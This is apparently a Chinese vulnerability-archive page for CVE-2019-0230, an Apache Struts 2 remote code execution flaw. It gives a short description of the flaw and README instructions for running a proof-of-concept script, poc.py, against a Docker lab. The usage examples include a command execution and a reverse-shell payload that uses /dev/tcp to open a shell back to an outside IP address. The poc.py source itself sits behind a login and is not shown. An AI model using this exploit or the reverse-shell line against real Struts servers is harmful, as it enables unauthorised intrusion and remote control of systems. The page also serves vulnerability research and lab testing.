目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2019-0230 PoC — Apache Struts 代码执行漏洞

来源
关联漏洞
标题: Apache Struts 代码执行漏洞 (CVE-2019-0230)
Description:Apache Struts是美国阿帕奇(Apache)基金会的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品,Struts 1和Struts 2。 Apache Struts 2.0.0版本至2.5.20版本中存在代码执行漏洞。攻击者可借助特制的请求利用该漏洞执行代码。
介绍
# CVE-2019-0230_Struts2S2-059

## How to use

### Build Struts252-059 Docker
```shell=
docker-compose up -d
```

### How To Use

python3 poc.py "URL" "shell"

Example(PoC):
```shell=
python3 poc.py http://127.0.0.1:8080 "touch /tmp/1234"
```

![](https://i.imgur.com/prbzR7M.png)


Example(PoC)-2_Reverse Shell:
```shell=
python3 poc.py http://127.0.0.1:8080 "0<&196;exec 196<>/dev/tcp/192.168.10.106/5051; sh <&196 >&196 2>&196"
```
![](https://i.imgur.com/vKjnqej.png)


### Reference
1. [Struts2 S2-059 Remote Code Execution Vulnerablity(CVE-2019-0230)](https://github.com/vulhub/vulhub/tree/master/struts2/s2-059)
2. [struts2 s2-059远程代码执行漏洞(CVE-2019-0230)](https://www.freebuf.com/vuls/257494.html)
3. [java.lang.Runtime.exec() Payload Workarounds](http://www.jackson-t.ca/runtime-exec-payloads.html)

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →